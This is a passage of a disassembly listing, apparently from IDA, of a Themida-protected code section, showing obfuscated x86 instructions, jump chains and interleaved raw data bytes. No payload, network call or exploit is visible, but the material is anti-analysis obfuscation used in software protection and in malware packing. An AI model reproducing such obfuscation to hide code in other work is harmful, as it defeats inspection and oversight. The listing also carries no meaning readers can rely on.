		push	55321DB3h
		pop	edi
		push	69DBh
		mov	[esp], esi
		mov	esi, 55A623C6h
		inc	esi
		xor	esi, 0E9A732Fh
		push	eax
		jmp	loc_545CE1
; ---------------------------------------------------------------------------

loc_546068:				; CODE XREF: Themida_:0054D3B4j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		jmp	loc_54E22D
; ---------------------------------------------------------------------------
		dd 81CBEB80h, 2ECh, 0C896600h, 801BB524h, 0EB2804EBh, 6604C380h
		dd 0C0B60F59h, 0FF8734FFh, 57582434h, 3685F54h,	89000020h
		dd 0CCE92404h, 100002Dh, 7348E9D8h, 15A0000h, 1AE951C6h
		dd 5700004Bh, 0C781E789h, 4, 5DC6E9h, 0E6815900h, 75847D57h
		dd 6C26F681h, 0E6814668h, 4FB32C11h, 4C6EE9h, 3C77FF00h
		dd 1515B951h, 0EFE90D64h, 5B000097h, 0FFF8B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5460F1:				; CODE XREF: Themida_:0054F9A2j
		mov	ecx, 2A1F0779h
		shl	ecx, 2
		sub	ecx, 6234717Fh
		jmp	loc_54CD03
; ---------------------------------------------------------------------------
		dd 5B21C581h, 875B149Fh, 248B242Ch, 2434FF24h, 0E924048Bh
		dd 3962h
; ---------------------------------------------------------------------------

loc_54611C:				; CODE XREF: Themida_:0054FC9Ej
		shr	edi, 7
		sub	edi, 286161CBh
		xor	edi, 0B97CA0F5h
		xor	esi, edi
		pop	edi
		jmp	loc_54EFE5
; ---------------------------------------------------------------------------

loc_546133:				; CODE XREF: Themida_:0054A935j
		pop	ebp
		jmp	loc_549AE5
; ---------------------------------------------------------------------------
		db 0E9h, 0E6h, 0D7h
		dd 0F581FFFFh, 0E12F2FCEh, 85E9EA29h, 80000037h, 0D30012C3h
		dd 8B12EB80h, 0C4832414h, 80EB2804h, 3CE928EBh,	8B000046h
		dd 7BE92424h, 6600004Eh, 68240C8Bh, 5E87h, 54241C89h, 7387E9h
		db 0
; ---------------------------------------------------------------------------

loc_54617D:				; CODE XREF: Themida_:00546660j
		add	al, dh
		mov	dx, [esp]
		jmp	loc_54DF97
; ---------------------------------------------------------------------------

loc_546188:				; CODE XREF: Themida_:0054B305j
		add	ebp, 4
		push	eax
		jmp	loc_54407B
; ---------------------------------------------------------------------------

loc_546194:				; CODE XREF: Themida_:00546DAAj
		xchg	ecx, [esp]
		pop	esp
		push	7DF7h
		jmp	loc_5472A2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835B24h, 61BDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5461AE:				; CODE XREF: Themida_:00545A62j
		pop	esp
		mov	[esp], edi
		push	164Fh
		mov	[esp], ebp
		jmp	loc_54F245
; ---------------------------------------------------------------------------
		db 50h
		dd 639A6857h, 0C15F3DCDh, 7AE906E7h, 81FFFFEBh,	4E9h, 240C8700h
		dd 2404895Ch, 0FFE6D6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5461E1:				; CODE XREF: Themida_:0054E830j
		add	eax, edi
		jmp	loc_54F0A3
; ---------------------------------------------------------------------------
		dd 8304E800h, 8B2434FFh, 0C481240Ch, 4,	0FFD83BE9h, 243C8BFFh
		dd 5004C483h, 42474FFh,	8324048Bh, 13E904C4h, 57FFFFEBh
		dd 4BFh, 0E9FB2900h, 8184h
; ---------------------------------------------------------------------------

loc_546220:				; CODE XREF: Themida_:0054DDE8j
		xor	eax, ecx
		jmp	loc_54C5F2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24048F00h, 2124248Bh, 0E99C2404h, 0FFFFD6E8h
		dd 0E020E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546242:				; CODE XREF: Themida_:00544287j
		pop	edi
		or	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_54B0B3
; ---------------------------------------------------------------------------
		db 68h,	2 dup(3Ah)
		dd 3C890000h, 2474FF24h, 48F5F04h, 17E95C24h, 55FFFFFAh
		dd 0FE243481h, 59137429h, 29FEF181h, 49E91374h,	5500004Eh
		dd 2407E9h
		db 0
; ---------------------------------------------------------------------------

loc_546281:				; CODE XREF: Themida_:0054E37Dj
		push	78943538h
		mov	ebp, [esp]
		add	esp, 4
		inc	ebp
		shl	ebp, 4
		xor	ebp, 0E74E76E8h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_544996
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 5324048Bh, 7AE95B54h, 89000061h, 74FF2404h, 48B0424h
		dd 278DE924h, 3C310000h, 243C3324h, 8424248Bh, 0D9E99CC8h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5462CB:				; CODE XREF: Themida_:00547035j
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 69DC3B82h
		sub	[esp+4], ecx
		pop	ecx
		pop	ebx
		add	ebx, 69DC3B82h
		jmp	loc_547611
; ---------------------------------------------------------------------------
		dd 72722D58h, 0F8295192h, 92727205h, 2616E951h,	48F0000h
		dd 29665C24h, 0E99C2404h, 0FFFFD61Ch
; ---------------------------------------------------------------------------

loc_546308:				; CODE XREF: Themida_:0054BA16j
		add	eax, 31B80B48h
		pop	edx
		add	eax, ebx
		jmp	loc_54BBF8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 421AE924h, 248B0000h, 48B6624h, 18536824h, 74E90000h
		dd 0BB00006Bh, 3A735C54h, 295BD989h, 240C8BC8h,	81E38953h
		dd 4C3h, 92EAE900h, 0F9B80000h,	35465768h, 65EF75DBh, 3E8C140h
		dd 7CE9D0F7h, 89000090h, 0E389241Ch, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 2245E9h, 41E95C00h, 1FFFFE9h, 0FF62E9C7h
		dd 15EFFFFh, 1BE95FFAh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54638F:				; CODE XREF: Themida_:0054C4C5j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_54753F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2782CF81h, 0E7C14E0Fh, 95E95206h, 100007Bh, 240C8BCBh
		dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 2CEDh
; ---------------------------------------------------------------------------

loc_5463DC:				; CODE XREF: Themida_:00545858j
		add	ch, 0BFh
		inc	ch
		xor	ch, 0B0h
		xor	ch, 0BDh
		xor	ch, 0C1h
		shl	ch, 6
		push	0
		jmp	loc_54CAB5
; ---------------------------------------------------------------------------
		db 81h
		dd 5FD81FE9h, 0FFC1E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546402:				; CODE XREF: Themida_:0054AADDj
		or	eax, 3CB14DA9h
		push	ecx
		mov	ecx, 3F0E0EB6h
		and	eax, ecx
		pop	ecx
		shr	eax, 7
		add	eax, 0C6FB89CBh
		sub	esi, eax
		pop	eax
		jmp	loc_546DE2
; ---------------------------------------------------------------------------
aFbfbCf1Su	db 'fBfê^çf1Óéî[',0
		dw 5300h
		dd 25596857h, 815F2335h, 0B4BAEC7h, 0FFEF8332h,	4619E952h
		dd 7FBF0000h, 81232B05h, 7D3BEDCFh, 250BE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546456:				; CODE XREF: Themida_:0054C14Ej
		add	ebp, eax
		add	ebp, 555F4857h
		push	dword ptr [esp]
		jmp	loc_54962D
; ---------------------------------------------------------------------------

loc_546466:				; CODE XREF: Themida_:005490E7j
		mov	esp, [esp]
		push	edx
		mov	edx, 153B25EFh
		xor	eax, edx
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54AB2B
; ---------------------------------------------------------------------------

loc_546486:				; CODE XREF: Themida_:00544B9Dj
		dec	esi
		push	ebp
		push	ecx
		push	355A7D1Ah
		jmp	loc_54507D
; ---------------------------------------------------------------------------

loc_546493:				; CODE XREF: Themida_:0054C07Cj
		neg	esi
		jmp	loc_545D12
; ---------------------------------------------------------------------------
aStx		db '°ºétX',0
		dd 0E9CB0100h, 66D7h
; ---------------------------------------------------------------------------

loc_5464A8:				; CODE XREF: Themida_:005488BEj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 6ABD157Eh
		jmp	loc_54EF90
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547B2C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 1E784624h, 7C83ED81h, 0F5011EAFh, 7C83C581h,	0E9E91EAFh
		dd 0BE000097h, 77FB0945h, 76BAC681h, 0C6813BEFh, 4C158003h
		dd 4E85C381h, 0F30119EDh, 8904EC83h, 21B9240Ch,	812E057Ch
		dd 0E832A4F1h, 59CB2937h, 8124348Bh, 4C4h, 74FF5300h, 8F5B0424h
		dd 248B2404h, 40F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54652A:				; CODE XREF: Themida_:0054C3B9j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_54D571
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFE411E9h, 68FFh, 14290000h, 0EA815A24h, 0E7D9BADCh
		dd 0FFE95952h, 66000042h, 56240C8Bh, 7F685E54h,	89000035h
		dd 4682414h, 5A000000h,	3685552h, 5D070A62h, 3797E9h, 0EAEF8100h
		dd 8B6F443Ah, 0C4812414h, 4, 0BA52C701h, 1B7E488Ch, 1A5CEA81h
		dd 0F2817992h, 9D3235D9h, 585AD701h, 0FFF890E9h, 0B8C281FFh
		dd 0E96DA838h, 4A4Eh, 1C8BDD01h, 4C48124h, 1000000h, 0F8055DE8h
		dd 8B7A7703h, 0DE92414h, 8B000057h, 0EC81240Ch,	4, 89243C89h
		dd 4C781E7h, 0E9000000h, 5CA6h,	5394768h, 1809E900h, 8B660000h
		dd 0B7E9240Ch
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5465F7:				; CODE XREF: Themida_:00543F78j
		push	esi
		mov	esi, 75476F7h
		jmp	loc_546F6A
; ---------------------------------------------------------------------------
aISb		db '‰$$éb/',0
		align 2
		dw 5650h
		dd 0EA1E9368h, 3670E915h, 4830000h, 815A0424h, 4C2h, 4EC8100h
		dd 89000000h, 4FE92404h, 55000078h, 28538068h, 242C8B4Eh
		dd 4C481h, 0CD810000h, 62A77B02h, 2A02F581h, 8155326Fh
		dd 32B8242Ch, 81597099h, 9932B8C1h, 0F737E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54665E:				; CODE XREF: Themida_:0054D5B5j
		mov	dh, 69h
		jmp	loc_54617D
; ---------------------------------------------------------------------------

loc_546665:				; CODE XREF: Themida_:0054E118j
		pop	eax
		shl	ebp, 8
		jmp	loc_545B8D
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 20E90424h, 0F7000014h, 7EC581DDh, 2120622Eh,	0F7495DE9h
		dd 0DCBA52D1h, 0E96D54FBh, 70F9h, 3009BB53h, 0C38144E7h
		dd 0BB33251h, 0C15BDF31h, 0DFF706E7h, 2972BB53h, 0F3817C42h
		dd 19F042E0h, 1C8BDF01h, 4C48324h, 7FA868h, 24148900h
		dd 696B52BAh, 5AD73140h, 12E9F989h, 5E00007Dh, 8324048Fh
		dd 59042404h, 4C181h, 0BE560000h, 2, 875EF101h,	665C240Ch
		dd 0E7E9F9F7h, 81FFFFE3h, 0FD38C9C1h, 81E90135h, 0FD38C9E9h
		dd 0F7C18135h, 5D141242h, 6130E9h
		db 0
; ---------------------------------------------------------------------------

loc_54670D:				; CODE XREF: Themida_:0054895Cj
		mov	ebx, 5B6931BFh
		xor	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_543924
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 7EAC107h, 0FA13EA81h, 0D13146ADh, 59CA295Ah,	3D3FEA81h
		dd 0E9583A1Ch, 0FFFFD1E4h, 71F7815Fh, 896C484Bh, 0F39FE9F9h
		dd 4968FFFFh, 8900007Eh, 0E189240Ch, 40CAE9h, 5693BE00h
		dd 0EEC1547Dh, 4EF68108h, 292DD22Bh, 0C1015EF1h, 5618C181h
		dd 2D582D86h, 30426197h, 9705C829h, 0FF304261h,	83592434h
		dd 26804C4h, 89000051h,	0BABA2414h, 0E90A9F5Fh,	268Eh
; ---------------------------------------------------------------------------

loc_54679C:				; CODE XREF: Themida_:0054BF54j
		push	eax
		mov	eax, 0
		add	eax, ebx
		add	dword ptr [eax], 1
		mov	eax, [esp]
		jmp	loc_54C9D3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 1336E924h, 815D0000h, 4C5h, 4EC8100h, 89000000h, 4B82404h
		dd 0E9000000h, 260Fh
; ---------------------------------------------------------------------------

loc_5467D4:				; CODE XREF: Themida_:00544A93j
		push	edi
		pop	ebx
		mov	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	edi
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, edi
		pop	edi
		and	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5470DD
		push	edx
		add	dword ptr [esp], 452A31ABh
		pop	dword ptr [edi+20h]
		push	1C0Dh
		mov	[esp], ebx
		push	ebp
		push	ecx
		mov	ecx, 34FF4E65h
		jmp	loc_54701A
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 875BDF01h, 248B243Ch, 0C8B60F24h,	32A968h, 240C8900h
		dd 0FFD0DBE9h, 4C483FFh, 535E5456h, 0C381E389h,	4, 23DABF57h
		dd 0D7F7300Ch, 4E4DF781h, 0F7810403h, 0CBF0926Ch, 875FFB29h
		dd 895C241Ch, 0FFBF243Ch, 81662335h, 0B31828CFh, 6FE78102h
		dd 0F710DE01h, 81D7F7DFh, 92016AF7h, 6FC68100h,	15B940Ch
		dd 0DCA4E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54689E:				; CODE XREF: Themida_:00547FC3j
		add	[ebx], eax
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_549FA8
; ---------------------------------------------------------------------------

loc_5468B3:				; CODE XREF: Themida_:0054E086j
		push	14BC4B0Ch
		pop	edx
		push	ebx
		mov	ebx, 31B80B48h
		sub	eax, ebx
		pop	ebx
		jmp	loc_54BA14
; ---------------------------------------------------------------------------
		db 0F7h
		dd 242C87D5h, 81242C8Bh, 4C4h, 56554D00h, 8769E9h, 91C28100h
		dd 291C6749h, 22685AD3h, 8900006Bh, 74FF241Ch, 1C8B0424h
		dd 1D42E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5468FA:				; CODE XREF: Themida_:00548D59j
		dec	ah
		xor	ah, 1Ah
		or	ah, 60h
		push	29D8h
		mov	[esp], ebx
		mov	bh, 97h
		inc	bh
		shl	bh, 3
		jmp	loc_54D303
; ---------------------------------------------------------------------------
		dw 0C868h
		dd 89000028h, 0B966240Ch, 81661A08h, 665700C1h,	64BA6652h
		dd 0D1016663h, 81665A66h, 662D08F1h, 15E3C981h,	3B48E9h
		dd 8BD10100h, 0C4832414h, 0E966E904h, 0C381FFFFh, 52FE7891h
		dd 0FFDE15E9h, 240489FFh, 0FFF9E9E9h, 241C89FFh, 42474FFh
		dd 24048F5Bh, 8BC8E9h, 8BEE8100h, 5F169D59h, 25A86857h
		dd 53E90000h, 59000002h, 2E14EB81h, 0D3011086h,	2E14C381h
		dd 0FAE91086h, 0FFFFD1h, 0E95866E5h, 0FFFFEFC1h, 4BD55h
		dd 0EF290000h, 0F8A3E95Dh, 0C888FFFFh, 0BE959h,	0C6810000h
		dd 4, 7458E9h, 88D0F600h, 0EA8058C2h, 52DAF626h, 5A2414F6h
		dd 28C9B050h, 61E958C2h, 28FFFFD8h, 0EB8058C5h,	17FE9ACh
		dd 8B660000h, 0E950240Ch, 7C3Ah
; ---------------------------------------------------------------------------

loc_5469F0:				; CODE XREF: Themida_:0054D6A3j
		push	ecx
		mov	ecx, 4E5B1BEBh
		xor	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		add	ebx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_548C90
; ---------------------------------------------------------------------------
aWCnJvM		db 'W¿CN°jV¾M',0
		dd 0B4E905DBh, 0BAFFFFDDh, 0CDA599Dh, 0B473CC68h, 64F3E94Ah
		dd 0FA680000h, 59154542h, 1095E9h, 0AB0F6600h, 0E99C2404h
		dd 0FFFFCEE0h, 0E956E189h, 0FFFFECC5h, 1A685550h, 5D059A25h
		dd 1BF57h, 0FD090216h, 0C2F5815Fh, 8930A94Ah, 4A1DE9E8h
		dd 0E1C10000h, 79E95202h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546A73:				; CODE XREF: Themida_:0054AEA8j
		pop	esp
		add	esp, 4
		push	edi
		jmp	loc_54786F
; ---------------------------------------------------------------------------
		db 5Bh,	0, 0E8h
aYLhtd		db 'Y(Ø,«hTD',0
		align 2
		dw 0C89h
aSsu		db '$Séî[',0
		dw 0F700h
		dd 0C1D2F7D2h, 0EA8102EAh, 9E1AB1C3h, 8E9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_546AA5:				; CODE XREF: Themida_:00548B7Fj
		push	eax
		jmp	loc_54404E
; ---------------------------------------------------------------------------

loc_546AAB:				; CODE XREF: Themida_:0054783Aj
		push	esi
		jmp	loc_546D88
; ---------------------------------------------------------------------------

loc_546AB1:				; CODE XREF: Themida_:00544575j
		add	ebx, ebp
		jmp	loc_54D498
; ---------------------------------------------------------------------------
		dd 1C576866h, 2C8FE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_54BEBA
; ---------------------------------------------------------------------------

loc_546ADA:				; CODE XREF: Themida_:0054C527j
		push	edi
		mov	edi, 12541D9Bh
		not	edi
		jmp	loc_54E5A7
; ---------------------------------------------------------------------------

loc_546AE7:				; CODE XREF: Themida_:0054A582j
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1EC8014Dh
		mov	ebx, ebp
		pop	ebp
		or	ebx, 60C4327Bh
		jmp	loc_54A1F8
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 1FC3E9h, 5EC28100h, 0E9063811h, 6EE7h, 2C281h, 0C3E90000h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546B1F:				; CODE XREF: Themida_:0054F290j
		mov	[esp], ecx
		jmp	loc_543FFF
; ---------------------------------------------------------------------------

loc_546B27:				; CODE XREF: Themida_:0054D7F9j
		mov	[esp], edx
		push	esi
		mov	esi, 111A5DB6h
		mov	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 126F415Ch
		jmp	loc_544526
; ---------------------------------------------------------------------------

loc_546B3E:				; CODE XREF: Themida_:0054B8EDj
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_544F41
; ---------------------------------------------------------------------------

loc_546B4C:				; CODE XREF: Themida_:0054BACCj
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		jmp	loc_54E285
; ---------------------------------------------------------------------------
aIaMs4q		db '(ë€Ã¬é4q',0
		dw 0BB00h
		dd 1DEC65A3h, 71AF6852h, 6FE93DBAh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546B7F:				; CODE XREF: Themida_:0054F9D1j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_546046
		push	dword ptr [edi+28h]
		push	3427h
		mov	[esp], esi
		mov	esi, 48EE366Dh
		jmp	loc_54A72B
; ---------------------------------------------------------------------------
		dd 0C1FE1DB1h, 0C180C9FEh, 59CB2833h, 0FDE9DD88h, 5D000022h
		dd 6AE6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546BC2:				; CODE XREF: Themida_:0054BC3Dj
		shl	edi, 2
		shl	edi, 6
		shl	edi, 6
		add	edi, 0BBFA0004h
		jmp	loc_54D982
; ---------------------------------------------------------------------------
aIUsip		db '‰$$UéI',0
		dw 6600h
		dd 0E9240489h, 0FFFFCD3Ch, 0ADE9CA29h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546BEF:				; CODE XREF: Themida_:00549C09j
		push	dx
		mov	dl, 3Dh
		sub	ch, dl
		pop	dx
		sub	bl, ch
		pop	ecx
		sub	bl, 96h
		add	bl, 0DDh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2C381h, 0FF530000h, 8B042474h, 8957241Ch, 4C781E7h
		dd 81000000h, 4C7h, 0D0DEE900h,	0C33FFFFh, 240C3124h, 8B240C33h
		dd 1C892424h, 46ABBB24h, 0CCE90A46h, 4EFFFFE2h,	0F681D6F7h
		dd 7C1B6B41h, 3C16EE81h, 0F30130EAh, 84D9E9h, 68E38900h
		dd 57B6h, 0E9243489h, 24EDh, 5C240487h,	8B2434FFh, 0CEE9240Ch
		dd 81FFFFFBh, 0BB3BE5C3h, 49E95D6Bh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546C87:				; CODE XREF: Themida_:00548DACj
		add	ebp, 4
		push	edx
		mov	edx, 4BFE7C13h
		not	edx
		and	edx, 1E8E3C99h
		xchg	edi, edx
		inc	edi
		xchg	edi, edx
		jmp	loc_54C99C
; ---------------------------------------------------------------------------
		db 0B0h, 43h, 53h
		dd 0FFDB3FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546CAD:				; CODE XREF: Themida_:00548EA4j
		push	esi
		mov	esi, 420D28F1h
		push	0A60h
		mov	[esp], ecx
		mov	ecx, 4C15224Dh
		sub	ecx, 1F7B05A0h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		neg	ecx
		push	edx
		mov	edx, 3D3523E9h
		and	edx, 5DFE3049h
		not	edx
		xor	edx, 2D22550Ch
		shl	edx, 7
		sub	edx, 86B00F73h
		or	ecx, edx
		jmp	loc_5487BF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 0C48304C4h, 0B8505704h, 4, 158C789h, 0E71AE9F8h
		dd 0C281FFFFh, 4, 0E904EA83h, 7ECDh, 2368E289h,	8900007Fh
		dd 4B9240Ch, 1000000h, 240C8BCAh, 8104C483h, 4C2h, 24148700h
		dd 3124248Bh, 0DDE92404h, 83FFFFCBh, 8B042404h,	89562404h
		dd 4C681E6h, 83000000h,	348704C6h, 85E95C24h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546D63:				; CODE XREF: Themida_:0054742Cj
		shr	dh, 2
		sub	dh, 84h
		add	dh, 9Ah
		xor	dh, al
		pop	eax
		xor	al, dh
		mov	edx, [esp]
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54DFBD
; ---------------------------------------------------------------------------

loc_546D7F:				; CODE XREF: Themida_:0054CC85j
		add	[esp+4], ecx
		jmp	loc_54BB89
; ---------------------------------------------------------------------------

loc_546D88:				; CODE XREF: Themida_:00546AACj
		mov	esi, 4
		sub	ebp, 1A8759BAh
		sub	ebp, esi
		add	ebp, 1A8759BAh
		pop	esi
		jmp	loc_54F3B7
; ---------------------------------------------------------------------------

loc_546DA1:				; CODE XREF: Themida_:0054A0C2j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_546194
; ---------------------------------------------------------------------------

loc_546DAF:				; CODE XREF: Themida_:0054C444j
		pop	edi
		push	ecx
		mov	ecx, 4
		add	eax, 60705F80h
		add	eax, ecx
		sub	eax, 60705F80h
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_54B4F7
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 242C8B24h, 4C481h, 1C8B0000h, 2ED7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546DE2:				; CODE XREF: Themida_:0054641Bj
		mov	[edi+20h], esi
		pop	esi
		sub	[edi+20h], ecx
		pop	ecx

loc_546DEA:				; CODE XREF: Themida_:005470E1j
					; Themida_:loc_54A030j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_548B63
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0Fh
		dd 8100001Dh, 617128EFh, 5FFE010Dh, 8147E9h, 2EEC100h
		dd 3B2DBD55h, 0B8503324h, 0D9E145Dh, 171F8035h,	0D0F7407Dh
		dd 539E0548h, 0C5319EBCh, 5DEE3158h, 0B850D6F7h, 0B87A592Ah
		dd 0E958C631h, 5348h, 0E9DAC380h, 0FFFFEEC6h, 0E95AD529h
		dd 11B5h, 0E9E80159h, 1972h, 4C681h, 0EE830000h, 24343304h
		dd 33243431h, 7E92434h,	9000019h, 241C8BDAh, 8104C483h
		dd 0FA11A3EAh, 4EAC17Ah, 0C281D2F7h, 0DCA96DAh,	295AD589h
		dd 34875DEEh, 4895C24h,	0CA8EE924h, 5966FFFFh, 24048F66h
		dd 24048366h, 0CA7EE902h, 0EC81FFFFh, 4, 89243489h, 0FB00E9E6h
		dd 1C89FFFFh, 0FE0DB724h, 2AB050CFh, 0C8FEC8FEh, 0C700102Ch
		dd 8324048Bh, 0B25204C4h, 3E2C00Fh, 0DAF6D2F6h,	55E9D2F6h
		dd 81000006h, 0BC3CD8C1h, 59CE012Dh, 8B243487h,	34FF2424h
		dd 0C0E95924h, 8BFFFFF1h, 0FAE9240Ch, 8F000086h, 34FF4047h
		dd 242C8B24h, 0E904C483h, 4D9Ch, 4C4815Ch, 9000000h, 0D4840FC9h
		dd 68000003h, 16Eh, 0FFE922E9h,	8BC588FFh, 0C4812404h
		dd 4, 24148B66h, 5002C483h, 0C0FEFBB0h,	0B62CA034h, 0FFFA92E9h
		dd 24248BFFh, 0FFC9D3E9h, 0E9DE88FFh, 0F07h, 0F6CBD55h
		dd 814D454Bh, 0D7605E5h, 18BAE968h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546F6A:				; CODE XREF: Themida_:005465FDj
		neg	esi
		shr	esi, 6
		jmp	loc_54F177
; ---------------------------------------------------------------------------
		dd 378EEA81h, 0D2F765C7h, 133FE950h, 99B90000h,	56745601h
		dd 2A65F7BEh, 17EE8160h, 21F22561h, 81415EF1h, 0FBFF83C1h
		dd 59CD019Bh, 2474FF55h, 48F5D04h, 753FE924h, 835F0000h
		dd 0C8702C1h, 24248B24h, 9C240CD2h, 0FFC963E9h,	0D8F740FFh
		dd 0D0125C05h, 8BC58950h, 54512404h, 4C18159h, 83000000h
		dd 0C8704C1h, 0C7815C24h, 180F7198h, 97E9EF01h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546FEB:				; CODE XREF: Themida_:0054EF4Bj
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_54BD46
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 45BAE900h, 1DE90000h, 68FFFFC9h, 6490h, 0BE243489h
		dd 57C6ABAh, 72E7E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54701A:				; CODE XREF: Themida_:00546826j
		sub	ecx, 0FFFFFFFFh
		neg	ecx
		xor	ecx, 59240CEAh
		inc	ecx
		xor	ecx, 7ACB12D3h
		sub	ecx, 0B334A888h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5462CB
; ---------------------------------------------------------------------------
		dw 3487h
		dd 24248B24h, 8904EC83h, 8C68242Ch, 8900003Eh, 2C8B2404h
		dd 50CCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547056:				; CODE XREF: Themida_:0054AA96j
		sub	ebx, 52286648h
		add	edx, ebx
		pop	ebx
		push	2726h
		jmp	loc_549556
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 2BDh, 8EC18100h, 14D507Bh, 8EE981E9h, 5D4D507Bh, 0E904EC83h
		dd 0FFFFCE7Dh, 3017D22Dh, 5BDE2D66h, 295B3FB2h,	93E956D8h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54709B:				; CODE XREF: Themida_:0054B901j
		add	esi, 3D38A7EEh
		mov	eax, esi
		pop	esi
		neg	eax
		shl	eax, 7
		add	eax, 0F619A084h
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_54B058
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 58h
		dd 49E9D629h, 0FFFFFFE9h, 34FF2434h, 2434FF24h,	83240C8Bh
		dd 0C48304C4h, 4C48304h, 0FFC891E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5470DD:				; CODE XREF: Themida_:00546806j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_546DEA
		push	67B0h
		mov	[esp], ecx
		jmp	loc_5494FE
; ---------------------------------------------------------------------------
		dd 582434FFh, 0A9E95453h, 6800000Eh, 4FF362E2h,	0FFCC72E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547109:				; CODE XREF: Themida_:0054EEF3j
